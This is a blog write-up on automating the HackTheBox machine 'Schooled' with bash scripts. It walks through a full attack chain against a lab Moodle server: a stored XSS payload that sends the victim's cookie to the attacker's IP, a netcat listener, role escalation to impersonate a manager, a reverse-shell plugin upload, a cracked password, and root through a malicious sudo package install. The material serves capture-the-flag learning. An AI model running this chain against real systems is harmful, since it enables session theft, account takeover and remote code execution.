Schooled: Automation

10.11.2021

After exploiting and working on the Write-Up for the HackTheBox machine 'Schooled', I felt like I could automate this using bash. In this post I will try to explain how I was working out this solution, some tricks I've learned along the way, and show how you can replicate my attempt.

The "Lab"

Phase 1: Sending Authenticated Requests

Sending authenticated requests to the Moodle server was the first mile stone in developing this script. Since I was pretty unfamiliar with cURL at the time, I still needed to figure out how to save returned cookies and use them to send the next request. Furthermore, I had to see if there is anything else in the login requests that I was missing, since the cookies alone were not enough.

Sure enough, I found a login token which was being passed to the client in the first response when loading the login page. I almost missed it, but a dear friend pointed it out to me:)

Here is when I had to learn and apply some bash-fu for the first time: Turns out, finding X number of characters after a given string ain't that easy.

response=$(curl -i -c cookies.txt http://moodle.schooled.htb/moodle/login/);
search='logintoken" value="';
temp=${response#*$search*};
logintoken=$(echo $temp | cut -c1-32)

Above is the lines of code used, to fetch and grab the login token from the response. The request is a simple GET request sent to http://MOODLE_LOCATION/moodle/login/. I did not use any cookies at this time, but since this was the first time our personal MoodleSession cookie is referenced, I saved it using -c cookies.txt. Within the response, the login token is prefixed with logintoken" value=", which can be used as a unique identifier for the location of our first character. Using echo and cut -c, I was able to specify the length of my token and get the it trimmed to 32 characters.

As soon as I had both my login token as well as a valid MoodleSession cookie, I went right ahead and tried to send a login request.

loginresponse=$(curl -b cookies.txt -c cookies.txt -L -X POST http://moodle.schooled.htb/moodle/login/index.php -H "Content-Type: application/x-www-form-urlencoded" -d "anchor=&logintoken=$logintoken&username=test2&password=Testtesst123-" )

Within this login request, I was greeted with a session key (named sesskey). I didn't notice that I was passed another key until I wanted to enrol myself into a course later on. The session key was prefixed with sesskey=, which was enough for me to reliably find it using the before described method. The session key is 10 characters long.

During the login request, I also had to use the previously saved MoodleSession cookie, which led to the following: -b cookies.txt -c cookies.txt This is a pretty common usage of the cURL features, and basically takes a cookie from a file and writes the new cookie back to the file if it changes. It will be of greater significance later on, when the session is fully revamped during the course context vulnerability.

Let's test our authentication:

user_profile_response=$(curl -b cookies.txt -c cookies.txt http://moodle.schooled.htb/moodle/user/preferences.php)

Since we will need our user id to send our XSS payload anyways at some point, testing the authentication can be done directly using a request to preferences.php. Within the response, there is a hyperlink which leads back to the index page, and directly references the user id: search3='index.php?id=' If we can successfully grab the user id and cut it, it means that our authentication succeeded.

Phase 2: Upgrades

The second step of working out this automated solve was upgrading our MoodleSession cookie to the one of a teacher, Manuel. Steps to go through are:

To enroll myself into the mathematics course, I was able to simply copy the request captured by burp and apply it to cURL. The only parameter that needed to be passed was the session key which was described in phase 1, as well as the cookie file I included with almost every request. The id and instance of the course could safely be hardcoded, which means I ended up with something like:

--data-binary "id=5&instance=12&sesskey=$sesskey&_qf__12_enrol_self_enrol_form=1&mform_isexpanded_id_selfheader=1&submitbutton=Enrol+me"

This request is then sent to http://moodle.schooled.htb/moodle/enrol/index.php along with the cookie, and upon double checking it, it seems like I was enrolled to the course. Hurray!

Since they have automated the XSS flaw in the MoodleNet profile, this now means that every few minutes, Manuel's session is sending a request to my profile, possibly triggering any stored XSS in there.

The payload I used for the XSS is a very basic one, and just captures the cookie in the request url itself:

payload="<script>document.location='http://$local_ip:$local_port/cookie='%2Bdocument.cookie</script>"

Sending this new profile addition itself was more of a challenge, since I had to hardcode and include every other Moodle profile setting available. This does not further disturb the workings of this exploit, since it can be changed if needed, and doesn't include any parameters used later on in the script. Following form-data parameters are specific to our user:

Every other parameter can be copied straight from burp. This POST request is then sent to http://moodle.schooled.htb/moodle/user/edit.php, along with the cookie.

At this point I had to somehow capture the cookie, which is commonly done using netcat. But keep in mind, that I was a somewhat noob with bash scripts, so it took me longer than I'd like to admit to work this one out. Time to get creative:

$(nc -lv $local_port > log 2>&1 &)
log_length_temp=$(wc -l log | cut -c7-8)
while [[ $log_length_temp -le 5 ]]
do
echo "Waiting for cookie..."
log_length_temp=$(wc -l log | cut -c7-8)
sleep 5
done
xss_request=$(cat log)
search4="MoodleSession="
temp4=${xss_request#*$search4}
xss_cookie=$(echo $temp4 | cut -c1-27)

Let us analyze what exactly is happening here. It is divided into two part, the first being caputuring and waiting for the cookie, the latter being the same as before to search for the MoodleSession parameter.

Netcat is started as a listener on the port I used in the payload as well, but it is writing everything to a log file. I probably don't have to tell you, but the & stands for "continue execution and background this command". log_length_temp is defined as the number of lines in the log file, trimmed down to just a number. This number is then evaluated in a while loop, and updated everytime, only when the number of lines exceeds 4 it will break the loop and continue. The script then proceeds to get the contents from the log file, and use the prefix MoodleSession= to find the cookie.

I was then able to go ahead and use the cookie inline-style instead of the one we captured during login, in order to grab the user-id and see if it worked:

manuel_uid_request=$(curl -b "MoodleSession=$xss_cookie" http://moodle.schooled.htb/moodle/user/preferences.php)

From now on until the end, we are only going to use Manuel's MoodleSession cookie, as it doesn't get changed during the second vulnerability.

Phase 3: Dear Lianne

Lianne Carter is an account which is assigned the 'manager' role within Moodle. There is a vulnerability within this version, which let's us abuse the course context in order to log in as Lianne. Following are the steps to reproduce:

Alright so we need to send three requests in total to log in with elevated privileges as a manager. Let's have a look at the first one:

"http://moodle.schooled.htb/moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=$sesskey_manuel&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration="

For the sake of keeping this tidy, I will disregard the cookies and headers since they are not really relevand to the vulnerability itself. I had to pass the following parameters to the enrolment:

The remaining parameters could safely be copied from the burp intercept.

So what did I just do? Basically, I enrolled myself with elevated privileges but only within the course. This means, that I can now enrol a manager (Lianne) to the course and then use the log in as function to get access to her account with her rights. The request to enrol Lianne for real this time looks exactly the same, but roletoassign=5&userlist[]=25 since she doesn't need elevated privileges and her user id is 25. Once we enrolled her to the course, we could theoretically 'click' on her profile from within the course and see a newly shown "log in as" button. This button can be just as well triggered via curl: "http://moodle.schooled.htb/moodle/course/loginas.php?id=5&user=25&sesskey=$sesskey_manuel". Again, we have to pass the cookie along with this request, as well as the session key. We also have to specify user=25 to tell the system we want to log in as Lianne, and id=5 to tell the system that the context (where we get the rights to do this from) is course number 5.

So let's have a toast for dear Lianne, who was heavily abused during the development of this script. You are appreciated!

Phase 4: Pew Pew Pew

Now we are logged in as a manager. We basically have access to everything within Moodle, including updates to our permissions as a manager. Actually getting remote code execution as a manager looks like this:

Within this machine on HackTheBox, managers don't normally have the permissions to upload and install plugins, but the permissions can be changed without further complicated steps. In the file [[All permissions payload|referenced]], you can find a payload which will update every single permission there is to 1 = allow. This is done using this request:

update_permissions_response=$(curl -L -b "MoodleSession=$xss_cookie" --data-binary "sesskey=$sesskey_lianne&$(cat permissions_payload.txt)" "http://moodle.schooled.htb/moodle/admin/roles/define.php?action=edit&roleid=1")

As you can see, most of this is the same as every other step before, with the only exception being that we concatenate the payload inline and sendit within the data of the request. After this request, installing plugins is unlocked for Lianne. The plugin that we are going to upload is called "block_rce", and is a blocks-type plugin that just contains a basic php reverse shell. While uploading the plugin, we should get an error message, which is normal but made it difficult to develop since error isn't always error :P

I am not going to show every single request that is made within this process, but rather explain it. There is 6 requests in total, after that we don't need to send any more requests to moodle itself but only to our webshell.

zipfile=$itemid -> the item id
[email protected] -> the plugin on the disk
client_id=$client_id -> the client id (again, duh)

The code execution can now be tested by sending requests directly to "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=", such as ls or id. But we will use this command execution in the next step to achieve much more. ^evil eyes^

Gaining User

Using the newly gained webshell, I was now able to simply send commands to the machine. Since I already knew the database password I needed to use (it's stored in the moodle config, simply cat and cut), I could craft a payload which would then provide me with all of the mysql users stored in the mdl_users table. From the Moodle platform itself I knew that Jamie was an admin, and he was also listed in the table. This had to be it. Using the same methods to search for a string, I was able to get the hash and crack it. It's "!QAZ2wsx".

Being able to use this password within a bash script was the actual challenge, and I did not want to get some pseudo-interactiveness. After a while of searching, I came across sshpass, which provides a way to specify a password in a one liner, which SSH refuses to allow itself. Now I am able to send commands to the machine as the user Jamie, with this simple one liner:

sshpass -p '!QAZ2wsx' ssh [email protected] command

I am (G)root

Since we are now logged in and able to send commands as the user of the system, we still need to get root. This is a FreeBSD system, with the main vulnerability being a security misconfiguration: User Jamie is allowed to use [[sudo]] in order to install a package on the system. FreeBSD packages have the option of allowing the user to specify a command, which is run upon installation. In order to achieve a root shell using this flaw, I first had to send a shell script to the host, which would build the payload using my hostname and port. This was done using scp, which works with sshpass as well.

upload_script=$(sshpass -p '!QAZ2wsx' scp create_shell.sh [email protected]:/tmp)

The next step was sending a command which would then run the script, and give it time to build the package before we can install it:

run_script=$(sshpass -p '!QAZ2wsx' ssh [email protected] sh /tmp/create_shell.sh)

Using a sleep statement I gave the script 10 seconds time to finish up, and notified the user that it is time to start a listener on port 1337. The very last command which is sent to the machine is the one actually running the installation of our malicious package:

install_pkg=$(sshpass -p '!QAZ2wsx' ssh [email protected] 'sudo pkg install -y --no-repo-updatemypackage-“1.0_5”.txz')

Pretty much right away I could see my listener terminal tab spinning, and I knew something great has happened. It was accomplished.

Conclusion

This wraps up this article about the automation of solving the "Schooled" machine on HackTheBox. Even without the automation part, I absolutely loved this box, and I hope to see many more of this kind. There was a lot of tinkering and trying around required in order to get to the different elevated user accounts, even tho the actual user and root steps were pretty minimal.

Key Takeaways from the Machine

Key Takeaways from this Project

Mentions

Thanks to: